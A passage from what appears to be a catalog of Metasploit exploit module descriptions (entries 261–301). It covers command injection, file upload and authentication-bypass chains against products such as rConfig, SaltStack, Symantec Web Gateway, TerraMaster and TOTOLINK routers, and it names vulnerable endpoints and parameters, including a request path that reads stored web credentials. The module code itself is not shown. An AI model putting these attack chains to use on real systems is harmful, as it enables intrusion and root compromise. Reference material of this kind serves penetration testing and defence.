    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-08-26

Payload information:
  Space: 99999
  Avoid: 0 characters

Description:
  This module exploits a remote file include vulnerability in Railo,
  tested against version 4.2.1. First, a call using a vulnerable
  <cffile> line in thumbnail.cfm allows an attacker to download an
  arbitrary PNG file. By appending a .cfm, and taking advantage of
  a directory traversal, an attacker can append cold fusion markup
  to the PNG file, and have it interpreted by the server. This is
  used to stage and execute a fully-fledged payload.
```

```
End Exploit Number 261

Begin Exploit Number 262
       Name: Rancher Server - Docker Exploit
     Module: exploit/linux/http/rancher_server
   Platform: Linux
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-07-27

Payload information:
  Space: 65000

Description:
  Utilizing Rancher Server, an attacker can create a docker container
  with the '/' path mounted with read/write permissions on the host
  server that is running the docker container. As the docker container
  executes command as uid 0 it is honored by the host operating system
  allowing the attacker to edit/create files owed by root. This
exploit
  abuses this to creates a cron job in the '/etc/cron.d/' path of the
  host server.

  The Docker image should exist on the target system or be a valid
image
  from hub.docker.com.

  Use `check` with verbose mode to get a list of exploitable Rancher
  Hosts managed by the target system.


End Exploit Number 262

Begin Exploit Number 263
       Name: Rconfig 3.x Chained Remote Code Execution
     Module: exploit/linux/http/rconfig_ajaxarchivefiles_rce
   Platform: Unix, Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2020-03-11

Payload information:

Description:
  This module exploits multiple vulnerabilities in rConfig version 3.9
  in order to execute arbitrary commands.
  This module takes advantage of a command injection vulnerability in
the
  `path` parameter of the ajax archive file functionality within the
rConfig web
  interface in order to execute the payload.
  Valid credentials for a user with administrative privileges are
required.
  However, this module can bypass authentication via SQLI.
  This module has been successfully tested on Rconfig 3.9.3 and 3.9.4.
  The steps are:
  1. SQLi on /commands.inc.php allows us to add an administrative
user.
  2. An authenticated session is established with the newly added user
  3. Command Injection on /lib/ajaxHandlers/ajaxArchiveFiles.php
allows us to
  execute the payload.
  4. Remove the added admin user.
  Tips : once you get a shell, look at the CVE-2019-19585.
  You will probably get root because rConfig install script add Apache
user to
  sudoers with nopasswd ;-)

End Exploit Number 263

Begin Exploit Number 264
       Name: rConfig Vendors Auth File Upload RCE
     Module: exploit/linux/http/rconfig_vendors_auth_file_upload_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-03-17

Payload information:

Description:
  This module allows an attacker with a privileged rConfig account to
start a reverse shell
  due to an arbitrary file upload vulnerability in `/lib/crud/
vendors.crud.php`.
  Then, the uploaded payload can be triggered by a call to `images/
vendor/<payload_file>.php`

End Exploit Number 264

Begin Exploit Number 265
       Name: Realtek SDK Miniigd UPnP SOAP Command Execution
     Module: exploit/linux/http/realtek_miniigd_upnp_exec_noauth
   Platform:
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-04-24

Payload information:

Description:
  Different devices using the Realtek SDK with the miniigd daemon are
vulnerable to OS command
  injection in the UPnP SOAP interface. Since it is a blind OS command
injection vulnerability,
  there is no output for the executed command. This module has been
tested successfully on a
  Trendnet TEW-731BR router with emulation.

End Exploit Number 265

Begin Exploit Number 266
       Name: Riverbed SteelCentral NetProfiler/NetExpress Remote Code
Execution
     Module: exploit/linux/http/riverbed_netprofiler_netexpress_exec
   Platform: Linux
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-06-27

Payload information:

Description:
  This module exploits three separate vulnerabilities found in the
Riverbed SteelCentral NetProfiler/NetExpress
  virtual appliances to obtain remote command execution as the root
user. A SQL injection in the login form
  can be exploited to add a malicious user into the application's
database. An attacker can then exploit a
  command injection vulnerability in the web interface to obtain
arbitrary code execution. Finally, an insecure
  configuration of the sudoers file can be abused to escalate
privileges to root.

End Exploit Number 266

Begin Exploit Number 267
       Name: Roxy-WI Prior to 6.1.1.0 Unauthenticated Command
Injection RCE
     Module: exploit/linux/http/roxy_wi_exec
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-07-06

Payload information:

Description:
  This module exploits an unauthenticated command injection
vulnerability in Roxy-WI
  prior to version 6.1.1.0. Successful exploitation results in remote
code execution
  under the context of the web server user.

  Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived
servers.

End Exploit Number 267

Begin Exploit Number 268
       Name: SaltStack Salt REST API Arbitrary Command Execution
     Module: exploit/linux/http/saltstack_salt_api_cmd_exec
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-11-03

Payload information:

Description:
  This module exploits an authentication bypass and command injection
in
  SaltStack Salt's REST API to execute commands as the root user.

  The following versions have received a patch: 2015.8.10, 2015.8.13,
  2016.3.4, 2016.3.6, 2016.3.8, 2016.11.3, 2016.11.6, 2016.11.10,
  2017.7.4, 2017.7.8, 2018.3.5, 2019.2.5, 2019.2.6, 3000.3, 3000.4,
  3001.1, 3001.2, and 3002.

  Tested against 2019.2.3 from Vulhub and 3002 on Ubuntu 20.04.1.

End Exploit Number 268

Begin Exploit Number 269
       Name: SaltStack Salt API Unauthenticated RCE through
wheel_async client
```

```
     Module: exploit/linux/http/saltstack_salt_wheel_async_rce
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-02-25

Payload information:

Description:
  This module leverages an authentication bypass and directory
  traversal vulnerabilities in Saltstack Salt's REST API to execute
  commands remotely on the `master` as the root user.

  Every 60 seconds, `salt-master` service performs a maintenance
  process check that reloads and executes all the `grains` on the
  `master`, including custom grain modules in the Extension Module
  directory. So, this module simply creates a Python script at this
  location and waits for it to be executed. The time interval is set
to
  60 seconds by default but can be changed in the `master`
  configuration file with the `loop_interval` option. Note that, if an
  administrator executes commands locally on the `master`, the
  maintenance process check will also be performed.

  It has been fixed in the following installation packages: 3002.5,
  3001.6 and 3000.8.

  Also, a patch is available for the following versions: 3002.2,
  3001.4, 3000.6, 2019.2.8, 2019.2.5, 2018.3.5, 2017.7.8, 2016.11.10,
  2016.11.6, 2016.11.5, 2016.11.3, 2016.3.8, 2016.3.6, 2016.3.4,
  2015.8.13 and 2015.8.10.

  This module has been tested successfully against versions 3001.4,
  3002 and 3002.2 on Ubuntu 18.04.

End Exploit Number 269

Begin Exploit Number 270
       Name: Samsung SRN-1670D Web Viewer Version 1.0.0.193 Arbitrary
File Read and Upload
     Module: exploit/linux/http/samsung_srv_1670d_upload_exec
   Platform: PHP
       Arch: php
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2017-03-14
```

```
Payload information:

Description:
  This module exploits an unrestricted file upload vulnerability in
  Web Viewer 1.0.0.193 on Samsung SRN-1670D devices. The
network_ssl_upload.php file
  allows remote authenticated attackers to upload and execute
arbitrary
  PHP code via a filename with a .php extension, which is then
accessed via a
  direct request to the file in the upload/ directory.

  To authenticate for this attack, one can obtain web-interface
credentials
  in cleartext by leveraging the existing local file read
vulnerability
  referenced by CVE-2015-8279, which allows remote attackers to read
the
  web interface credentials by sending a request to:
  cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw URI.

End Exploit Number 270

Begin Exploit Number 271
       Name: Seagate Business NAS Unauthenticated Remote Command
Execution
     Module: exploit/linux/http/seagate_nas_php_exec_noauth
   Platform: PHP
       Arch: php
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-03-01

Payload information:

Description:
  Some Seagate Business NAS devices are vulnerable to command
execution via a local
  file include vulnerability hidden in the language parameter of the
CodeIgniter
  session cookie. The vulnerability manifests in the way the language
files are
  included in the code on the login page, and hence is open to attack
from users
  without the need for authentication. The cookie can be easily
decrypted using a
  known static encryption key and re-encrypted once the PHP object
string has been
  modified.
  This module has been tested on the STBN300 device.

End Exploit Number 271

Begin Exploit Number 272
       Name: Supermicro Onboard IPMI close_window.cgi Buffer Overflow
     Module: exploit/linux/http/smt_ipmi_close_window_bof
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2013-11-06

Payload information:
  Space: 8000
  Avoid: 32 characters

Description:
  This module exploits a buffer overflow on the Supermicro Onboard
IPMI controller web
  interface. The vulnerability exists on the close_window.cgi CGI
application, and is due
  to the insecure usage of strcpy. In order to get a session, the
module will execute
  system() from libc with an arbitrary CMD payload sent on the User-
Agent header. This
  module has been tested successfully on Supermicro Onboard IPMI
(X9SCL/X9SCM) with firmware
  SMT_X9_214.

End Exploit Number 272

Begin Exploit Number 273
       Name: SolarView Compact unauthenticated remote command
execution vulnerability.
     Module: exploit/linux/http/solarview_unauth_rce_cve_2023_23333
   Platform: PHP, Unix, Linux
       Arch: php, cmd, armle, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-05-15

Payload information:

Description:
  CONTEC's SolarView™ Series enables you to monitor and visualize
solar power and is only available in Japan.
```

```
  This module exploits a command injection vulnerability on the
SolarView Compact `v6.00` web application
  via vulnerable endpoint `downloader.php`.
  After exploitation, an attacker will have full access with the same
user privileges under
  which the webserver is running (typically as user `contec`).

End Exploit Number 273

Begin Exploit Number 274
       Name: SonicWall SMA 100 Series Authenticated Command Injection
     Module: exploit/linux/http/sonicwall_cve_2021_20039
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-12-14

Payload information:

Description:
  This module exploits an authenticated command injection
vulnerability
  in the SonicWall SMA 100 series web interface. Exploitation results
in
  command execution as root. The affected versions are:

  - 10.2.1.2-24sv and below
  - 10.2.0.8-37sv and below
  - 9.0.0.11-31sv and below

End Exploit Number 274

Begin Exploit Number 275
       Name: Sophos UTM WebAdmin SID Command Injection
     Module: exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-09-18

Payload information:

Description:
  This module exploits an SID-based command injection in Sophos UTM's
  WebAdmin interface to execute shell commands as the root user.
```

```
End Exploit Number 275

Begin Exploit Number 276
       Name: Sophos Web Protection Appliance Interface Authenticated
Arbitrary Command Execution
     Module: exploit/linux/http/sophos_wpa_iface_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-04-08

Payload information:
  Space: 500
  Avoid: 0 characters

Description:
  This module takes advantage of two vulnerabilities in order to gain
remote code execution as root
  as an otherwise non-privileged authorized user. By taking advantage
of a mass assignment
  vulnerability that allows an unprivileged authenticated user to
change the administrator's
  password hash, the module updates the password to login as the admin
to reach the second vulnerability.
  No server-side sanitization is done on values passed when
configuring a static network interface.
  This allows an administrator user to run arbitrary commands in the
context of the web application,
  which is root when configuring the network interface. This module
will inadvertently delete
  any other users that may have been present as a side effect of
changing the admin's password.

End Exploit Number 276

Begin Exploit Number 277
       Name: Sophos Web Protection Appliance sblistpack Arbitrary
Command Execution
     Module: exploit/linux/http/sophos_wpa_sblistpack_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-09-06

Payload information:
  Space: 1024
  Avoid: 3 characters

Description:
  This module exploits a command injection vulnerability on Sophos Web
Protection Appliance
  3.7.9, 3.8.0 and 3.8.1. The vulnerability exists on the sblistpack
component, reachable
  from the web interface without authentication. This module has been
tested successfully
  on Sophos Virtual Web Appliance 3.7.0.

End Exploit Number 277

Begin Exploit Number 278
       Name: Sourcegraph gitserver sshCommand RCE
     Module: exploit/linux/http/sourcegraph_gitserver_sshcmd
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-02-18

Payload information:

Description:
  A vulnerability exists within Sourcegraph's gitserver component that
allows a remote attacker to execute
  arbitrary OS commands by modifying the core.sshCommand value within
the git configuration. This command can
  then be triggered on demand by executing a git push operation. The
vulnerability was patched by introducing a
  feature flag in version 3.37.0. This flag must be enabled for the
protections to be in place which filter the
  commands that are able to be executed through the git exec REST API.

End Exploit Number 278

Begin Exploit Number 279
       Name: Apache Spark Unauthenticated Command Execution
     Module: exploit/linux/http/spark_unauth_rce
   Platform: Java
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-12-12

Payload information:
```

```
Description:
  This module exploits an unauthenticated command execution
vulnerability in Apache Spark with standalone cluster mode through
REST API.
  It uses the function CreateSubmissionRequest to submit a malious
java class and trigger it.

End Exploit Number 279

Begin Exploit Number 280
       Name: Spring Cloud Gateway Remote Code Execution
     Module: exploit/linux/http/spring_cloud_gateway_rce
   Platform: Linux
       Arch: x64, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-01-26

Payload information:

Description:
  This module exploits an unauthenticated remote code execution
vulnerability in Spring Cloud Gateway
  versions = 3.1.0 and 3.0.0 to 3.0.6. The vulnerability can be
exploited when the Gateway Actuator
  endpoint is enabled, exposed and unsecured. An unauthenticated
attacker can use SpEL
  expressions to execute code and take control of the victim machine.

End Exploit Number 280

Begin Exploit Number 281
       Name: SuiteCRM Log File Remote Code Execution
     Module: exploit/linux/http/suitecrm_log_file_rce
   Platform: Linux, Unix
       Arch: ARCH_X64, ARCH_CMD, ARCH_X86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2021-04-28

Payload information:

Description:
  This module exploits an input validation error on the log file
extension parameter. It does
  not properly validate upper/lower case characters. Once this occurs,
the application log file
  will be treated as a php file. The log file can then be populated
```

```
with php code by changing the
  username of a valid user, as this info is logged. The php code in
the file can then be executed
  by sending an HTTP request to the log file. A similar issue was
reported by the same researcher
  where a blank file extension could be supplied and the extension
could be provided in the file
  name. This exploit will work on those versions as well, and those
references are included.

End Exploit Number 281

Begin Exploit Number 282
       Name: Supervisor XML-RPC Authenticated Remote Code Execution
     Module: exploit/linux/http/supervisor_xmlrpc_exec
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-07-19

Payload information:

Description:
  This module exploits a vulnerability in the Supervisor process
control software, where an authenticated client
  can send a malicious XML-RPC request to supervisord that will run
arbitrary shell commands on the server.
  The commands will be run as the same user as supervisord. Depending
on how supervisord has been configured, this
  may be root. This vulnerability can only be exploited by an
authenticated client, or if supervisord has been
  configured to run an HTTP server without authentication. This
vulnerability affects versions 3.0a1 to 3.3.2.

End Exploit Number 282

Begin Exploit Number 283
       Name: Symantec Messaging Gateway Remote Code Execution
     Module: exploit/linux/http/symantec_messaging_gateway_exec
   Platform: Python
       Arch: python
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-04-26

Payload information:
```

```
Description:
  This module exploits the command injection vulnerability of Symantec
Messaging Gateway product. An authenticated user can execute a
  terminal command under the context of the web server user which is
root.

  backupNow.do endpoint takes several user inputs and then pass them
to the internal service which is responsible for executing
  operating system command. One of the user input is being passed to
the service without proper validation. That cause a command
  injection vulnerability. But given parameters, such a SSH ip
address, port and credentials are validated before executing terminal
  command. Thus, you need to configure your own SSH service and set
the required parameter during module usage.

  This module was tested against Symantec Messaging Gateway 10.6.2-7.

End Exploit Number 283

Begin Exploit Number 284
       Name: Symantec Web Gateway 5.0.2.8 ipchange.php Command
Injection
     Module: exploit/linux/http/symantec_web_gateway_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-05-17

Payload information:
  Avoid: 4 characters

Description:
  This module exploits a command injection vulnerability found in
Symantec Web
  Gateway's HTTP service due to the insecure usage of the exec()
function. This module
  abuses the spywall/ipchange.php file to execute arbitrary OS
commands without
  authentication.

End Exploit Number 284

Begin Exploit Number 285
       Name: Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload
Vulnerability
     Module: exploit/linux/http/symantec_web_gateway_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-05-17

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a file upload vulnerability found in Symantec
Web Gateway's
  HTTP service. Due to the incorrect use of file extensions in the
upload_file()
  function, attackers may to abuse the spywall/blocked_file.php file
in order to
  upload a malicious PHP file without any authentication, which
results in arbitrary
  code execution.

End Exploit Number 285

Begin Exploit Number 286
       Name: Symantec Web Gateway 5.0.2.8 relfile File Inclusion
Vulnerability
     Module: exploit/linux/http/symantec_web_gateway_lfi
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-05-17

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in Symantec Web Gateway's
HTTP
  service.  By injecting PHP code in the access log, it is possible to
load it
  with a directory traversal flaw, which allows remote code execution
under the
  context of 'apache'. Please note that it may take up to several
minutes to
  retrieve access_log, which is about the amount of time required to
see a shell
  back.

End Exploit Number 286
```

```
Begin Exploit Number 287
       Name: Symantec Web Gateway 5.0.2.18 pbcontrol.php Command
Injection
     Module: exploit/linux/http/symantec_web_gateway_pbcontrol
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-07-23

Payload information:

Description:
  This module exploits a command injection vulnerability found in
Symantec Web
  Gateway's HTTP service.  While handling the filename parameter, the
Spywall API
  does not do any filtering before passing it to an exec() call in
proxy_file(),
  thus results in remote code execution under the context of the web
server. Please
  note authentication is NOT needed to gain access.

End Exploit Number 287

Begin Exploit Number 288
       Name: Symantec Web Gateway 5 restore.php Post Authentication
Command Injection
     Module: exploit/linux/http/symantec_web_gateway_restore
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-12-16

Payload information:

Description:
  This module exploits a command injection vulnerability found in
Symantec Web
  Gateway's setting restoration feature. The filename portion can be
used to inject
  system commands into a syscall function, and gain control under the
context of
  HTTP service.

  For Symantec Web Gateway 5.1.1, you can exploit this vulnerability
by any kind of user.
```

```
  However, for version 5.2.1, you must be an administrator.

End Exploit Number 288

Begin Exploit Number 289
       Name: Symmetricom SyncServer Unauthenticated Remote Command
Execution
     Module: exploit/linux/http/symmetricom_syncserver_rce
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-08-31

Payload information:

Description:
  This module exploits an unauthenticated command injection
vulnerability in /controller/ping.php.
  The S100 through S350 (End of Life) models should be vulnerable to
  unauthenticated exploitation due to a session handling
vulnerability.
  Later models require authentication which is not provided in this
module because we can't test it.
  The command injection vulnerability is patched in the S650 v2.2
(CVE-2022-40022).
  Run 'check' first to determine if vulnerable.
  The server limits outbound ports. Ports 25 and 80 TCP were
successfully used for SRVPORT
  and LPORT while testing this module.

End Exploit Number 289

Begin Exploit Number 290
       Name: Synology DiskStation Manager SLICEUPLOAD Remote Command
Execution
     Module: exploit/linux/http/synology_dsm_sliceupload_exec_noauth
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-10-31

Payload information:
  Space: 201527

Description:
  This module exploits a vulnerability found in Synology DiskStation
```

```
Manager (DSM)
  versions 4.x, which allows the execution of arbitrary commands under
root
  privileges.
  The vulnerability is located in /webman/imageSelector.cgi, which
allows to append
  arbitrary data to a given file using a so called SLICEUPLOAD
functionality, which
  can be triggered by an unauthenticated user with a specially crafted
HTTP request.
  This is exploited by this module to append the given commands to /
redirect.cgi,
  which is a regular shell script file, and can be invoked with
another HTTP request.
  Synology reported that the vulnerability has been fixed with
versions 4.0-2259,
  4.2-3243, and 4.3-3810 Update 1, respectively; the 4.1 branch
remains vulnerable.

End Exploit Number 290

Begin Exploit Number 291
       Name: Synology DiskStation Manager smart.cgi Remote Command
Execution
     Module: exploit/linux/http/synology_dsm_smart_exec_auth
   Platform: Python
       Arch: python
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-11-08

Payload information:

Description:
  This module exploits a vulnerability found in Synology DiskStation
Manager (DSM)
  versions < 5.2-5967-5, which allows the execution of arbitrary
commands under root
  privileges after website authentication.
  The vulnerability is located in webman/modules/StorageManager/
smart.cgi, which
  allows appending of a command to the device to be scanned.  However,
the command
  with drive is limited to 30 characters.  A somewhat valid drive name
is required,
  thus /dev/sd is used, even though it doesn't exist.  To circumvent
the character
  restriction, a wget input file is staged in /a, and executed to
download our payload
```

```
  to /b.  From there the payload is executed.  A wfsdelay is required
to give time
  for the payload to download, and the execution of it to run.

End Exploit Number 291

Begin Exploit Number 292
       Name: TerraMaster TOS 4.2.06 or lower - Unauthenticated Remote
Code Execution
     Module: exploit/linux/http/terramaster_unauth_rce_cve_2020_35665
   Platform: Unix, Linux
       Arch: cmd, php, x64, x86, aarch64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-12-12

Payload information:

Description:
  This module exploits an unauthenticated remote code-execution
vulnerability in TerraMaster TOS 4.2.06
  and lower via shell metacharacters in the Event parameter at
vulnerable endpoint `include/makecvs.php`
  during CSV creation.
  Any unauthenticated user can therefore execute commands on the
system under the same privileges as the
  web application, which typically runs under root at the TerraMaster
Operating System.

End Exploit Number 292

Begin Exploit Number 293
       Name: TerraMaster TOS 4.2.15 or lower - RCE chain from
unauthenticated to root via session crafting.
     Module: exploit/linux/http/terramaster_unauth_rce_cve_2021_45837
   Platform: Unix, Linux
       Arch: cmd, x64, x86, aarch64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-12-24

Payload information:

Description:
  Terramaster chained exploit that performs session crafting to
achieve escalated privileges that allows
  an attacker to access vulnerable code execution flaws. TOS versions
4.2.15 and below are affected.
```

```
  CVE-2021-45839 is exploited to obtain the first administrator's hash
set up on the system as well as other
  information such as MAC address, by performing a request to the `/
module/api.php?mobile/webNasIPS` endpoint.
  This information is used to craft an unauthenticated admin session
using CVE-2021-45841 where an attacker
  can self-sign session cookies by knowing the target MAC address and
the user password hash.
  Guest users (disabled by default) can be abused using a null/empty
hash and allow an unauthenticated attacker
  to login as guest.
  Finally, CVE-2021-45837 is exploited to execute arbitrary commands
as root by sending a specifically crafted
  input to vulnerable endpoint `/tos/index.php?app/del`.

End Exploit Number 293

Begin Exploit Number 294
       Name: TerraMaster TOS 4.2.29 or lower - Unauthenticated RCE
chaining CVE-2022-24990 and CVE-2022-24989
     Module: exploit/linux/http/terramaster_unauth_rce_cve_2022_24990
   Platform: Unix, Linux
       Arch: cmd, x64, x86, aarch64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-03-07

Payload information:

Description:
  This module exploits an unauthenticated remote code execution
vulnerability in TerraMaster TOS 4.2.29
  and lower by chaining two existing vulnerabilities, CVE-2022-24990
"Leaking sensitive information"
  and CVE-2022-24989, "Authenticated remote code execution".
  Exploiting vulnerable endpoint `api.php?mobile/webNasIPS` leaking
sensitive information such as admin password
  hash and mac address, the attacker can achieve unauthenticated
access and use another vulnerable endpoint
  `api.php?mobile/createRaid` with POST parameters `raidtype` and
`diskstring` to execute remote code as root
  on TerraMaster NAS devices.

End Exploit Number 294

Begin Exploit Number 295
       Name: Tiki-Wiki CMS Calendar Command Execution
     Module: exploit/linux/http/tiki_calendar_exec
   Platform: PHP
```

```
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-06-06

Payload information:

Description:
  Tiki-Wiki CMS's calendar module contains a remote code execution
  vulnerability within the viewmode GET parameter.
  The calendar module is NOT enabled by default.  If enabled,
  the default permissions are set to NOT allow anonymous users
  to access.

  Vulnerable versions: <=14.1, <=12.4 LTS, <=9.10 LTS and <=6.14
  Verified/Tested against 14.1

End Exploit Number 295

Begin Exploit Number 296
       Name: TOTOLINK Wireless Routers unauthenticated remote command
execution vulnerability.
     Module: exploit/linux/http/totolink_unauth_rce_cve_2023_30013
   Platform: Unix, Linux
       Arch: cmd, mipsle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-05-05

Payload information:

Description:
  Multiple TOTOLINK network products contain a command insertion
vulnerability in setting/setTracerouteCfg.
  This vulnerability allows an attacker to execute arbitrary commands
through the "command" parameter.
  After exploitation, an attacker will have full access with the same
user privileges under
  which the webserver is running (typically as user `root`, ;-).

  The following TOTOLINK network products and firmware are vulnerable:
  - Wireless Gigabit Router model X5000R with firmware
X5000R_V9.1.0u.6118_B20201102.zip;
  - Wireless Gigabit Router model A7000R with firmware
A7000R_V9.1.0u.6115_B20201022.zip;
  - Wireless Gigabit Router model A3700R with firmware
A3700R_V9.1.2u.6134_B20201202.zip;
  - Wireless N Router model N200RE V5 with firmware
```

```
N200RE_V5_V9.3.5u.6095_B20200916.zip;
  - Wireless N Router model N200RE V5 with firmware
N200RE_V5_V9.3.5u.6139_B20201216.zip;
  - Wireless N Router model N350RT with firmware
N350RT_V9.3.5u.6095_B20200916.zip;
  - Wireless N Router model N350RT with firmware
N350RT_V9.3.5u.6139_B20201216.zip;
  - Wireless Extender model EX1200L with firmware
EX1200L_V9.3.5u.6146_B20201023.zip; and
  - probably more looking at the scale of impacted devices :-(

End Exploit Number 296

Begin Exploit Number 297
       Name: TP-Link Cloud Cameras NCXXX Bonjour Command Injection
     Module: exploit/linux/http/
tp_link_ncxxx_bonjour_command_injection
   Platform: Linux
       Arch: mipsle
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-04-29

Payload information:

Description:
  TP-Link cloud cameras NCXXX series (NC200, NC210, NC220, NC230,
  NC250, NC260, NC450) are vulnerable to an authenticated command
  injection. In all devices except NC210, despite a check on the name
length in
  swSystemSetProductAliasCheck, no other checks are in place in order
  to prevent shell metacharacters from being introduced. The system
name
  would then be used in swBonjourStartHTTP as part of a shell command
  where arbitrary commands could be injected and executed as root.
NC210 devices
  cannot be exploited directly via /setsysname.cgi due to proper input
  validation. NC210 devices are still vulnerable since
swBonjourStartHTTP
  did not perform any validation when reading the alias name from the
  configuration file. The configuration file can be written, and code
  execution can be achieved by combining this issue with
CVE-2020-12110.

End Exploit Number 297

Begin Exploit Number 298
       Name: TP-Link SC2020n Authenticated Telnet Injection
     Module: exploit/linux/http/
```

```
tp_link_sc2020n_authenticated_telnet_injection
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-12-20

Payload information:

Description:
  The TP-Link SC2020n Network Video Camera is vulnerable
  to OS Command Injection via the web interface. By firing up the
telnet daemon,
  it is possible to gain root on the device.  The vulnerability
  exists at /cgi-bin/admin/servetest, which is accessible with
credentials.

End Exploit Number 298

Begin Exploit Number 299
       Name: Zyxel/Eir D1000 DSL Modem NewNTPServer Command Injection
Over TR-064
     Module: exploit/linux/http/tr064_ntpserver_cmdinject
   Platform:
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2016-11-07

Payload information:

Description:
  Broadband DSL modems manufactured by Zyxel and distributed by some
  European ISPs are vulnerable to a command injection vulnerability
when setting
  the 'NewNTPServer' value using the TR-64 SOAP-based configuration
protocol. In
  the tested case, no authentication is required to set this value on
affected
  DSL modems.

  This exploit was originally tested on firmware versions up to
2.00(AADU.5)_20150909.

End Exploit Number 299

Begin Exploit Number 300
       Name: Trend Micro InterScan Messaging Security (Virtual
Appliance) Remote Code Execution
     Module: exploit/linux/http/trend_micro_imsva_exec
   Platform: Python
       Arch: python
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-01-15

Payload information:
  Space: 1024
  Avoid: 2 characters

Description:
  This module exploits a command injection vulnerability in the Trend
Micro
  IMSVA product. An authenticated user can execute a terminal command
under
  the context of the web server user which is root. Besides, default
installation
  of IMSVA comes with a default administrator credentials.

  saveCert.imss endpoint takes several user inputs and performs
blacklisting.
  After that it use them as argument of predefined operating system
command
  without proper sanitation. However, due to improper blacklisting
rule it's possible to inject
  arbitrary commands into it. InterScan Messaging Security prior to
9.1.-1600 affected by this issue.

  This module was tested against IMSVA 9.1-1600.

End Exploit Number 300

Begin Exploit Number 301
       Name: Trend Micro InterScan Messaging Security (Virtual
Appliance) Remote Code Execution
     Module: exploit/linux/http/trendmicro_imsva_widget_exec
   Platform: Python
       Arch: python
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-10-07

Payload information:

Description:
  This module exploits the authentication bypass and command injection
```

```
vulnerability together. Unauthenticated users can execute a
  terminal command under the context of the web server user.

  The specific flaw exists within the management interface, which
listens on TCP port 443 by default. Trend Micro IMSVA product
  have widget feature which is implemented with PHP. Insecurely
configured web server exposes diagnostic.log file, which
  leads to an extraction of JSESSIONID value from administrator
session. Proxy.php files under the mod TMCSS folder takes multiple
parameter but the process
  does not properly validate a user-supplied string before using it to
execute a system call. Due to combination of these vulnerabilities,
  unauthenticated users can execute a terminal command under the
context of the web server user.
